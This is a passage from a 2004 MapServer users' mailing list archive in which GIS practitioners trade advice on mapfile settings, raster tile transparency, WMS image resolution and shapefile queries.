> >
> >   # turn off the black background in the image files
> >   OFFSITE 0 0 0
> >
> >   METADATA
> >     WMS_TITLE "Lansdat 7 Imagery "
> >     WMS_ABSTRACT "N/A"
> >     WMS_SRS "EPSG:26910"
> >   END
> >
> > END
> >
> > But this tiled layer does not have any transparency.  How
> > would I fix this?
> >
> > thanks
> > Stephen
> >
> > ----- Original Message ----- 
> > From: "Frank Warmerdam" 
> > To: "Stephen Clark" 
> > Cc: 
> > Sent: Friday, January 30, 2004 2:31 PM
> > Subject: Re: [Mapserver-users] I have some landsat 7 data
> > that I want to tile : overlap + transparency
> >
> >
> > > Stephen Clark wrote:
> > > > Hi All,
> > > >
> > > >
> > > > I have some landsat 7 data that I want to tile but the scenes
> > > > overlap.
> > > >
> > > > Can I use some sort of command that can be added to the
> > "gdaltindex"
> > > > command to add a transparency value to these scenes so that the
> > > > overlap areas can show through.
> > >
> > > Stephen,
> > >
> > > Do all the images have the same background value?  If so, use it as
> > > the offsite value for the whole layer and it will be used
> > with all the
> > > images. The other alternative is to store the tiles in a format for
> > > which GDAL recognises "nodata" values, but this isn't very
> > convenient
> > > to arrange. There is no way to include nodata values in the raster
> > > tile index.
> > >
> > > Best regards,
> > > --
> > >
> > ---------------------------------------+------------------------------
> > > ---------------------------------------+----
> > ----
> > > I set the clouds in motion - turn up   | Frank Warmerdam,
> > warmerdam at pobox.com
> > > light and sound - activate the windows | http://pobox.com/~warmerdam
> > > and watch the world go round - Rush    | Geospatial
> > Programmer for Rent
> > >
> > >
> > >
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> >
>



From ed at topozone.com  Fri Jan 30 16:05:03 2004
From: ed at topozone.com (Ed McNierney)
Date: Fri, 30 Jan 2004 19:05:03 -0500
Subject: [Mapserver-users] Images in the Template File
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B2A6@mercator.topozone.com>

Beth -

That's a symptom of your Web server's virtual directory structure not
mapping exactly on to your file system's structure, or of paths in the
"SRC" field of those images that are file/directory paths rather than
URL paths.  Just as a random example, the following IMG tag:

	

Will work just fine if I open that HTML file locally, but won't work at
all if I come in over the Web via a URL.

	- Ed 

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: M. Beth Wilkerson [mailto:bwilkerson at depauw.edu] 
Sent: Friday, January 30, 2004 5:06 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Images in the Template File

Hello!

I'm relatively new to MapServer and am still learning how to use it...

I'm currently working on adding JavaScript-based panning controls as
shown in the online Tutorial.  Although I've got the actual controls
working, the eight arrow graphic images (I've tried GIF, JPEG and PNG
file formats) do not show up.  I just get "missing picture" icons around
the map.  If I open the template file in a browser window without going
through MapServer, the arrow graphics display fine.  Does anyone know
what the problem might be and a possible solution?

Thanks in advance,
Beth

--
M. Beth Wilkerson
CGMA Project Programmer
GIS Advocate
DePauw University


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From mapgisnewbies at yahoo.com  Fri Jan 30 16:18:07 2004
From: mapgisnewbies at yahoo.com (we wei)
Date: Fri, 30 Jan 2004 16:18:07 -0800 (PST)
Subject: [Mapserver-users] problem
Message-ID: <20040131001807.97005.qmail@web20728.mail.yahoo.com>

hey how come i can never post any message in this
mailing list

__________________________________
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
http://webhosting.yahoo.com/ps/sb/


From Tom.Kralidis at ec.gc.ca  Fri Jan 30 16:58:08 2004
From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington])
Date: Fri, 30 Jan 2004 19:58:08 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to t
 ile : overlap + transparency
Message-ID: <2576812186CDD411BF1500508B6DCE9506436B99@ECNWRI1.ontario.int.ec.gc.ca>


> -----Original Message-----
> From: Stephen Clark [mailto:stephen.clark at focus.ca] 
> Sent: Friday, January 30, 2004 7:57 PM
> To: Kralidis,Tom [Burlington]; Frank Warmerdam
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] I have some landsat 7 data 
> that I want to tile : overlap + transparency
> 
> 
> Tom,
> 
> Is this the same as the CANIMAGE WMS layer from :
> 
> "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?"
> 

The CanImage layer is a processed set, with no overlaps, at 15m resolution.
The CCRS Landsat are band 743, as distributed by GeoGratis.  Same base
product, different pre-processing done to the data.  IMHO, the CanImage
product looks more seamless.

> If so I already have this layer added to MapServer.
> 
> My use of Landsat 7 Imagery is for a backdrop in my PDF 
> files.  But I cannot get the WMS server to produce a 300 dpi 
> image so I need to copy them locally to produce the 300 dpi PDF files.
> 
> Do you know of a WMS command that will produce an image ad a 
> particular DPI?
> 

No, anyone else got an idea here?

..Tom

> thanks
> Stephen
> 
> ----- Original Message ----- 
> From: "Kralidis,Tom [Burlington]" 
> To: "'Stephen Clark'" ; "Frank 
> Warmerdam" 
> Cc: 
> Sent: Friday, January 30, 2004 2:59 PM
> Subject: RE: [Mapserver-users] I have some landsat 7 data 
> that I want to tile : overlap + transparency
> 
> 
> >
> > Hi Stephen,
> >
> > What are your requirements for using the Landsat 7 Orthoimagery in 
> > MapServer?
> >
> > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery 
> > collection, which is on GeoGratis, available as OGC:WMS:
> >
> > URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi
> > Layer name: L7O_B743:CEOWARE2
> >
> > Note that this layer is also timestamped, i.e. you can 
> query via TIME 
> > in OGC:WMS also.  The scenes' black areas are transparent.
> >
> > Just thought it'd be easier to point to an OGC:WMS of this 
> data rather
> than
> > roll your own.
> >
> > Another comment: I'd be interested, as a separate exercise, how 
> > MapServer deals with overlapping images in a given layer.  
> What kind 
> > of algorithm is done between scenes which overlap?
> >
> > Thanks
> >
> > ..Tom
> >
> > =========================
> > Tom Kralidis
> > Systems Scientist
> > Environment Canada
> > Tel: +01-905-336-4409
> > http://www.ec.gc.ca/cise/
> >
> > =========================
> >
> > > -----Original Message-----
> > > From: Stephen Clark [mailto:stephen.clark at focus.ca]
> > > Sent: Friday, January 30, 2004 6:52 PM
> > > To: Frank Warmerdam
> > > Cc: mapserver-users at lists.gis.umn.edu
> > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I 
> > > want to tile : overlap + transparency
> > >
> > >
> > > Frank,
> > >
> > > My landsat data is from the Geogratis web site :
> > >
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/
> > >
> > > Specifically these three scenes as example:
> > >
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > > tm/047021/ 
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > > tm/048021/ 
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > > tm/049021/
> > >
> > > I compressed the files to ECW and produced this layer:
> > >
> > > LAYER
> > >   NAME landsat_048_021_rgb
> > >   DATA 
> > > 
> "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw"
> > >   TYPE RASTER
> > >   STATUS ON
> > >   TRANSPARENCY 60
> > >
> > >   # turn off the black background in the image files
> > >    OFFSITE 0 0 0
> > > END
> > >
> > >
> > > >Do all the images have the same background value?   YES 
> -- they do.
> > > There is a residual amount of black fuzziness around the scenes 
> > > after using the above OFFSITE command.
> > >
> > > Here is a LAYER file for the tiled index of Landsat scenes:
> > >
> > > LAYER
> > >   NAME landsat_tile
> > >   TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp"
> > >   TILEITEM "location"
> > >   TYPE RASTER
> > >   STATUS ON
> > >   TRANSPARENCY 60
> > >
> > >   # turn off the black background in the image files
> > >   OFFSITE 0 0 0
> > >
> > >   METADATA
> > >     WMS_TITLE "Lansdat 7 Imagery "
> > >     WMS_ABSTRACT "N/A"
> > >     WMS_SRS "EPSG:26910"
> > >   END
> > >
> > > END
> > >
> > > But this tiled layer does not have any transparency.  How would I 
> > > fix this?
> > >
> > > thanks
> > > Stephen
> > >
> > > ----- Original Message -----
> > > From: "Frank Warmerdam" 
> > > To: "Stephen Clark" 
> > > Cc: 
> > > Sent: Friday, January 30, 2004 2:31 PM
> > > Subject: Re: [Mapserver-users] I have some landsat 7 data
> > > that I want to tile : overlap + transparency
> > >
> > >
> > > > Stephen Clark wrote:
> > > > > Hi All,
> > > > >
> > > > >
> > > > > I have some landsat 7 data that I want to tile but the scenes 
> > > > > overlap.
> > > > >
> > > > > Can I use some sort of command that can be added to the
> > > "gdaltindex"
> > > > > command to add a transparency value to these scenes 
> so that the 
> > > > > overlap areas can show through.
> > > >
> > > > Stephen,
> > > >
> > > > Do all the images have the same background value?  If 
> so, use it 
> > > > as the offsite value for the whole layer and it will be used
> > > with all the
> > > > images. The other alternative is to store the tiles in a format 
> > > > for which GDAL recognises "nodata" values, but this isn't very
> > > convenient
> > > > to arrange. There is no way to include nodata values in 
> the raster 
> > > > tile index.
> > > >
> > > > Best regards,
> > > > --
> > > >
> > > 
> ---------------------------------------+----------------------------
> > > ---------------------------------------+--
> > > > ---------------------------------------+----
> > > ----
> > > > I set the clouds in motion - turn up   | Frank Warmerdam,
> > > warmerdam at pobox.com
> > > > light and sound - activate the windows | 
> http://pobox.com/~warmerdam
> > > > and watch the world go 
> round - Rush    | Geospatial
> > > Programmer for Rent
> > > >
> > > >
> > > >
> > >
> > > _______________________________________________
> > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> > >
> >
> 


From woodbri at swoodbridge.com  Fri Jan 30 17:16:47 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Fri, 30 Jan 2004 20:16:47 -0500
Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type
In-Reply-To: <1075499057.1258.11.camel@katrin>
References: 
Message-ID: <401ABBAF.9879.97EB73E@localhost>

There is a different strategy for rendering lines like you want.

SYMBOL "circle"
COLOR 0 0 0
SIZE 5
OVERLAYCOLOR 255 0 0
OVERLAYSIZE 3

This will draw a 5 pixel wide black line and then draw a 3 pixel wide 
red line on top of it. Which will leave one pixel of black on each 
side of the red line.

You can adjust the colors and widths for different effects.

Hope this helps,
   Steve W. (one of the other Steve's :)

On 30 Jan 2004 at 22:49, Nicol Hermann wrote:

> Hi Steve,
> 
> i hoping to achieve the same effect like it appears with point and
> polygon layers. I would like to see a line which is enclosed which the
> two lines of the outline color. The 'size' parameter only affects the
> thickness of the  line.
> 
> 	|| Line||
> 	^	^
> 	|Line with the Outlinecolor
> 
> Is there's a special cause that the outline color is ignored by the
> line  rendering code?
> 
> Thanks
> Nicol
> 
> 
> Am Fr, den 30.01.2004 schrieb Steve Lime um 21:49:
> > It's be awhile since I've looked at that source code but my guess is
> > that outline colors are ignored by the line rendering code. What sort of
> > an effect are you hoping to achieve?
> > 
> > Steve
> > 
> > >>>  1/30/2004 7:52:01 AM >>>
> > 
> > Hi List,
> > 
> > i want to set the outlinecolor within the StyleObj of a layer with the
> > type MS_LAYER_LINE. I use the following code but the outlinecolor do
> > not
> > appear:
> > 
> > $Layer -> set("type", MS_LAYER_LINE );
> > $poClass = ms_newClassObj($Layer);
> > $styleObj = ms_newStyleObj($poClass);
> > $styleObj -> color -> setRGB ( 0, 0, 255 );
> > $styleObj -> outlinecolor -> setRGB ( 0 , 0, 50);
> > $styleObj -> set ("symbolname", "kreis");
> > $styleObj -> set ("size", 8);
> > $poClass -> set("name", "Germany");
> > 
> > The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON.
> > 
> > Do i miss something?
> > Thanks in advance.
> > Nicol
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu 
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> -- 
> Nicol Hermann 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From nhv at cape.com  Fri Jan 30 18:35:47 2004
From: nhv at cape.com (Norman Vine)
Date: Fri, 30 Jan 2004 21:35:47 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency
In-Reply-To: <2576812186CDD411BF1500508B6DCE9506436B99@ECNWRI1.ontario.int.ec.gc.ca>
Message-ID: 

Kralidis,Tom [Burlington] writes:
>
> Stephen Clark wrote:
> > 
> > Do you know of a WMS command that will produce an image ad a 
> > particular DPI?
> > 
> 
> No, anyone else got an idea here?

Following works with a UMN WMS

Note the CVS WMS is hardwired to a max of 2048x2048  pixels 

HTH

Norman


====  cut ====
#! /usr/bin/env python
"""
see http://www.sourceforge.net/projects/pyogclib
"""

from ogclib.WMSClient import WMSClient

dpi = 200

class myWMS(WMSClient):
    def __init__(self, url):
        self.online_resource = url
        
wms = myWMS("http://localhost/cgi-bin/mywms?map=mywms.map&")

layer = ("bathy",)
srs=4326
bbox = { 'minx': -180, 'miny': -90,  'maxx': 180, 'maxy': 90 }
width, height = (8*dpi, 4*dpi)

url = wms.online_resource
version = '1.1'
format = 'image/tiff'
filename = 'test.tif'

wms_response = wms.getMap(url, format, width, height, srs, bbox, layer, version=version)

fh = open(filename, 'wb')
fh.write(wms_response)
fh.close()




From ed at topozone.com  Fri Jan 30 18:51:35 2004
From: ed at topozone.com (Ed McNierney)
Date: Fri, 30 Jan 2004 21:51:35 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B2A8@mercator.topozone.com>

Folks -

The concept of a 300 dpi image from spatial imagery is nothing more than
a convenient fiction.  EVERY WMS command produces a 300 dpi image - at a
certain output scale.

You need to define one more variable - the geographic dimensions of a
pixel.  This will let you calculate the image size you want.  Say, for
example, you want to create a 300 dpi image in which each pixel
represents 15 meters (in each dimension).  This means each inch on the
output product will be 300 x 15 meters, so your output scale is 1 inch =
300 x 15 meters or 1 inch = 300 x 15 x 39.37 inches - a scale of
1:177,165.

If you'd like to do that, and produce a 6" x 6" 300 dpi image at a
resolution of 15 meters per pixel, your WMS request asks for 6 x 300 x
15 or 27,000 meters in each dimension (in the BBOX parameter) and asks
for a WIDTH and HEIGHT of 1,800 pixels (6 inches at 300 dpi).

If you'd like the image to be 10 meters per pixel, or 30 meters per
pixel, you would request a BBOX where delta X and delta Y were both
18,000 meters or 54,000 meters respectively.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] 
Sent: Friday, January 30, 2004 7:58 PM
To: 'Stephen Clark'; Frank Warmerdam
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to
tile : overlap + transparency



> -----Original Message-----
> From: Stephen Clark [mailto:stephen.clark at focus.ca]
> Sent: Friday, January 30, 2004 7:57 PM
> To: Kralidis,Tom [Burlington]; Frank Warmerdam
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] I have some landsat 7 data that I want 
> to tile : overlap + transparency
> 
> 
> Tom,
> 
> Is this the same as the CANIMAGE WMS layer from :
> 
> "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?"
> 

The CanImage layer is a processed set, with no overlaps, at 15m
resolution.
The CCRS Landsat are band 743, as distributed by GeoGratis.  Same base
product, different pre-processing done to the data.  IMHO, the CanImage
product looks more seamless.

> If so I already have this layer added to MapServer.
> 
> My use of Landsat 7 Imagery is for a backdrop in my PDF files.  But I 
> cannot get the WMS server to produce a 300 dpi image so I need to copy

> them locally to produce the 300 dpi PDF files.
> 
> Do you know of a WMS command that will produce an image ad a 
> particular DPI?
> 

No, anyone else got an idea here?

..Tom

> thanks
> Stephen
> 
> ----- Original Message -----
> From: "Kralidis,Tom [Burlington]" 
> To: "'Stephen Clark'" ; "Frank Warmerdam" 
> 
> Cc: 
> Sent: Friday, January 30, 2004 2:59 PM
> Subject: RE: [Mapserver-users] I have some landsat 7 data that I want 
> to tile : overlap + transparency
> 
> 
> >
> > Hi Stephen,
> >
> > What are your requirements for using the Landsat 7 Orthoimagery in 
> > MapServer?
> >
> > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery 
> > collection, which is on GeoGratis, available as OGC:WMS:
> >
> > URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi
> > Layer name: L7O_B743:CEOWARE2
> >
> > Note that this layer is also timestamped, i.e. you can
> query via TIME
> > in OGC:WMS also.  The scenes' black areas are transparent.
> >
> > Just thought it'd be easier to point to an OGC:WMS of this
> data rather
> than
> > roll your own.
> >
> > Another comment: I'd be interested, as a separate exercise, how 
> > MapServer deals with overlapping images in a given layer.
> What kind
> > of algorithm is done between scenes which overlap?
> >
> > Thanks
> >
> > ..Tom
> >
> > =========================
> > Tom Kralidis
> > Systems Scientist
> > Environment Canada
> > Tel: +01-905-336-4409
> > http://www.ec.gc.ca/cise/
> >
> > =========================
> >
> > > -----Original Message-----
> > > From: Stephen Clark [mailto:stephen.clark at focus.ca]
> > > Sent: Friday, January 30, 2004 6:52 PM
> > > To: Frank Warmerdam
> > > Cc: mapserver-users at lists.gis.umn.edu
> > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I 
> > > want to tile : overlap + transparency
> > >
> > >
> > > Frank,
> > >
> > > My landsat data is from the Geogratis web site :
> > >
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/
> > >
> > > Specifically these three scenes as example:
> > >
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > > tm/047021/
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > > tm/048021/
> > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u
> > > tm/049021/
> > >
> > > I compressed the files to ECW and produced this layer:
> > >
> > > LAYER
> > >   NAME landsat_048_021_rgb
> > >   DATA
> > > 
> "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw"
> > >   TYPE RASTER
> > >   STATUS ON
> > >   TRANSPARENCY 60
> > >
> > >   # turn off the black background in the image files
> > >    OFFSITE 0 0 0
> > > END
> > >
> > >
> > > >Do all the images have the same background value?   YES 
> -- they do.
> > > There is a residual amount of black fuzziness around the scenes 
> > > after using the above OFFSITE command.
> > >
> > > Here is a LAYER file for the tiled index of Landsat scenes:
> > >
> > > LAYER
> > >   NAME landsat_tile
> > >   TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp"
> > >   TILEITEM "location"
> > >   TYPE RASTER
> > >   STATUS ON
> > >   TRANSPARENCY 60
> > >
> > >   # turn off the black background in the image files
> > >   OFFSITE 0 0 0
> > >
> > >   METADATA
> > >     WMS_TITLE "Lansdat 7 Imagery "
> > >     WMS_ABSTRACT "N/A"
> > >     WMS_SRS "EPSG:26910"
> > >   END
> > >
> > > END
> > >
> > > But this tiled layer does not have any transparency.  How would I 
> > > fix this?
> > >
> > > thanks
> > > Stephen
> > >
> > > ----- Original Message -----
> > > From: "Frank Warmerdam" 
> > > To: "Stephen Clark" 
> > > Cc: 
> > > Sent: Friday, January 30, 2004 2:31 PM
> > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I 
> > > want to tile : overlap + transparency
> > >
> > >
> > > > Stephen Clark wrote:
> > > > > Hi All,
> > > > >
> > > > >
> > > > > I have some landsat 7 data that I want to tile but the scenes 
> > > > > overlap.
> > > > >
> > > > > Can I use some sort of command that can be added to the
> > > "gdaltindex"
> > > > > command to add a transparency value to these scenes
> so that the
> > > > > overlap areas can show through.
> > > >
> > > > Stephen,
> > > >
> > > > Do all the images have the same background value?  If
> so, use it
> > > > as the offsite value for the whole layer and it will be used
> > > with all the
> > > > images. The other alternative is to store the tiles in a format 
> > > > for which GDAL recognises "nodata" values, but this isn't very
> > > convenient
> > > > to arrange. There is no way to include nodata values in
> the raster
> > > > tile index.
> > > >
> > > > Best regards,
> > > > --
> > > >
> > > 
> ---------------------------------------+----------------------------
> > > ---------------------------------------+--
> > > > ---------------------------------------+----
> > > ----
> > > > I set the clouds in motion - turn up   | Frank Warmerdam,
> > > warmerdam at pobox.com
> > > > light and sound - activate the windows |
> http://pobox.com/~warmerdam
> > > > and watch the world go
> round - Rush    | Geospatial
> > > Programmer for Rent
> > > >
> > > >
> > > >
> > >
> > > _______________________________________________
> > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> > >
> >
> 
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From ed at topozone.com  Fri Jan 30 18:52:28 2004
From: ed at topozone.com (Ed McNierney)
Date: Fri, 30 Jan 2004 21:52:28 -0500
Subject: [Mapserver-users] Projection Systems question
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B2A9@mercator.topozone.com>

David -

Thanks for looking into this - I'll try to reproduce the problem and
take a look.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: David Fawcett [mailto:David.Fawcett at state.mn.us] 
Sent: Friday, January 30, 2004 6:05 PM
To: David.Fawcett at state.mn.us
Cc: abehere at cs.ucsd.edu; mapserver-users at lists.gis.umn.edu;
amitbehere at rediffmail.com
Subject: RE: [Mapserver-users] Projection Systems question

Amit, List:

I played with the data and the mapfile.  I was able to reproduce what
Amit was seeing, and display all of the points in the .shp.  I figured
out how to control the issue, but I am not sure of the root cause.  

I modified the MAP file to improve symbology and add a label.  When I
called the map using URL
'http://127.0.0.1/cgi-bin/ms4/mapserv.exe?map=c%3A%5Capache%5Chtdocs%5Ca
mittest%5Ctest.map&mode=map'
one point displays, with a label, it is identified as TREEID 431 which
is locate in the south west region of the extent.   This isn't what I
expected to see, but it reproduces what Amit was seeing.  The point
wasn't noise, but an actual point from the .shp.  

When I added a MINSCALE of 1000000to the WEB object, I can see all of
the points in the shp.  

I therefore assume that there is some issue with the extent in the MAP
file and the MINSCALE  is preventing it from zooming too far.  

Ed, can you shed some light on this?  

I have attached images of the two conditions that I have described.

David.

Here is the MAP file____________________________

MAP
  NAME test
  IMAGETYPE PNG
  STATUS ON
  EXTENT         385538 3761010 391329 3764477
  UNITS METERS
  SIZE           400 400
  SHAPEPATH      "c:\apache\htdocs\amittest\data"
  FONTSET symbols/fonts/fonts.list
  WEB
    IMAGEPATH "c:\Apache\htdocs\tmp\"				
    IMAGEURL "/tmp/"  
    #MINSCALE 100000         #with this enabled, produces image with all
points
    #MAXSCALE 15500000       #see 'with_scale_restrictions.png'
  END
  
  # Start of symbol definition
#
SYMBOL
  NAME 'circle'
  TYPE ELLIPSE
  POINTS 1 1 END
  FILLED TRUE
END
  
  
  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER 
    NAME  trees
    DATA  vernon_trees
    STATUS  DEFAULT
    TYPE POINT	
	LABELITEM "TREEID"
    CLASS
      COLOR         255 0 51
	  SYMBOL 'circle'
	  SIZE  6

      #LABEL
       #TYPE TRUETYPE
        #FONT "arial-bold"
        #SIZE 10
        #POSITION auto
        #SHADOWCOLOR 204 204 204
        #ANTIALIAS TRUE        
     #END
    END
  END #  layer ends here
END # end of map file/object

__________________________________________________

David J. Fawcett
MN Office of Environmental Assistance




From zak-ms at hoppsan.org  Sat Jan 31 07:18:58 2004
From: zak-ms at hoppsan.org (Zak James)
Date: Sat, 31 Jan 2004 10:18:58 -0500
Subject: [Mapserver-users] Query OGR Datasource?
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B895AD@s5-van1-r1.ess.nrcan.gc.ca>
References: <8AE17DD6AA4FD51191CD0002A551168101B895AD@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: 

Joost,

Assuming the ogr connection is set up correctly, you should have query 
access to any attributes that are present in the table alongside the 
x,y geometry. It should behave like a shapefile dbf in that respect. 
Make sure you have TEMPLATE defined for the layer. Are you setting this 
up via mapscript or cgi mode?

If you don't get what you expect, use ogrinfo -ro file.ovf from a shell 
to determine what's available.

zak
--
Zak James
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca


On Jan 30, 2004, at 4:55 PM, Van Ulden, Joost wrote:

> Hi all,
>
> I gather that it is possible to query an OGR datasource just like a
> shapefile.  What about a OGRVRTDataSource?  Has anyone done this? I 
> can't
> find an example and have tried it the same way as a I would for a 
> shapefile.
> Have to admit, I am not sure how that would work....
>
> As always, thank you in advance.
>
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau:  604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From David.Fawcett at state.mn.us  Sat Jan 31 06:29:27 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Sat, 31 Jan 2004 08:29:27 -0600
Subject: [Mapserver-users] Projection Systems question
Message-ID: 

I should add that I got the extent values by running shpinfo on the
shape file.

David J. Fawcett
MN Office of Environmental Assistance
>>> "David Fawcett"  01/30/04 5:04 PM >>>
Amit, List:

I played with the data and the mapfile.  I was able to reproduce what
Amit was seeing, and display all of the points in the .shp.  I figured
out how to control the issue, but I am not sure of the root cause.  

I modified the MAP file to improve symbology and add a label.  When I
called the map using URL
'http://127.0.0.1/cgi-bin/ms4/mapserv.exe?map=c%3A%5Capache%5Chtdocs%5Camittest%5Ctest.map&mode=map'
one point displays, with a label, it is identified as TREEID 431 which
is locate in the south west region of the extent.   This isn't what I
expected to see, but it reproduces what Amit was seeing.  The point
wasn't noise, but an actual point from the .shp.  

When I added a MINSCALE of 1000000to the WEB object, I can see all of
the points in the shp.  

I therefore assume that there is some issue with the extent in the MAP
file and the MINSCALE  is preventing it from zooming too far.  

Ed, can you shed some light on this?  

I have attached images of the two conditions that I have described.

David.

Here is the MAP file____________________________

MAP
  NAME test
  IMAGETYPE PNG
  STATUS ON
  EXTENT         385538 3761010 391329 3764477
  UNITS METERS
  SIZE           400 400
  SHAPEPATH      "c:\apache\htdocs\amittest\data"
  FONTSET symbols/fonts/fonts.list
  WEB
    IMAGEPATH "c:\Apache\htdocs\tmp\"				
    IMAGEURL "/tmp/"  
    #MINSCALE 100000         #with this enabled, produces image with all
points
    #MAXSCALE 15500000       #see 'with_scale_restrictions.png'
  END
  
  # Start of symbol definition
#
SYMBOL
  NAME 'circle'
  TYPE ELLIPSE
  POINTS 1 1 END
  FILLED TRUE
END
  
  
  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER 
    NAME  trees
    DATA  vernon_trees
    STATUS  DEFAULT
    TYPE POINT	
	LABELITEM "TREEID"
    CLASS
      COLOR         255 0 51
	  SYMBOL 'circle'
	  SIZE  6

      #LABEL
       #TYPE TRUETYPE
        #FONT "arial-bold"
        #SIZE 10
        #POSITION auto
        #SHADOWCOLOR 204 204 204
        #ANTIALIAS TRUE        
     #END
    END
  END #  layer ends here
END # end of map file/object

__________________________________________________

David J. Fawcett
MN Office of Environmental Assistance



From james at lanpad.org  Sat Jan 31 18:41:57 2004
From: james at lanpad.org (James Mclean)
Date: Sun, 01 Feb 2004 13:11:57 +1030
Subject: [Mapserver-users] A few Mapserv questions
Message-ID: <401C6775.9030207@lanpad.org>

Hi All,

I have worked through the Tutorial on getting mapserver 4.0 to work, but 
after the first tutorial I have some questions...

Please bear in mind that I am new to this GIS type stuff, its like 
learning french to me. Im a programmer, not a GIS guy :)

I have created a basic .map as outlined in the tutorial, and after 
working through some problems because of a missing PROJ library, I have 
a working mapserv binary.

The basic map file I am using (test.map) is as below... A direct copy 
and paste from the tuit, with the nesicerry changes.

MAP
   IMAGETYPE PNG
   EXTENT 254184.15504499 6174213.6411365 314868.3598851 6210501.3473782
   SIZE 400 300
   SHAPEPATH "/home/jamesmc/asm2.air-stream.org/maps/i5409/"
   IMAGECOLOR 255 255 255

   PROJECTION
     "proj=laea"
     "ellps=clrk66"
     "lat_0=45"
     "lon_0=-100"
   #
   # Alternatively, you can specify an EPSG code.
   # "init=epsg:2163"
   #
   END

   # Start of LAYER DEFINITIONS 
---------------------------------------------
   LAYER # States polygon layer begins here
     NAME states
     DATA i5409t_r
     STATUS DEFAULT
     TYPE POLYGON

     PROJECTION
       "init=epsg:4269"
     END

     CLASS
       COLOR 232 232 232
       OUTLINECOLOR 32 32 32
     END
   END # States polygon layer ends here
   # End of LAYER DEFINITIONS -------------------------------
END # end of map file/object

First question is, the EXTENT paramerter in the map file. What exactly 
are the numbers ment to be? The tuit says 'Meters', so I assume that 
means Easting, Northing, but what are the last two? How can I tell what 
format my maps use?

Second question is, I have my SHAPEPATH set correctly (I presume), the 
directory has 242 files with the extensions .dbf, .prj, .shp, .shx. I 
assume these are the ERSI Shapefiles I need to reference?

The data I downloaded was 1:250K Australian maps, in the MapInfo 
Shapefile format.

In the LAYER section, I have 'DATA i5409t_r', but i5409t_r is just one 
file. What if the data I want is not in that particular file? How do I 
know what is in each file? I tried ogrinfo, but I dont understand half 
of whats going on with it... ogrinfo says 'i5409t_r' is a Polygon file, 
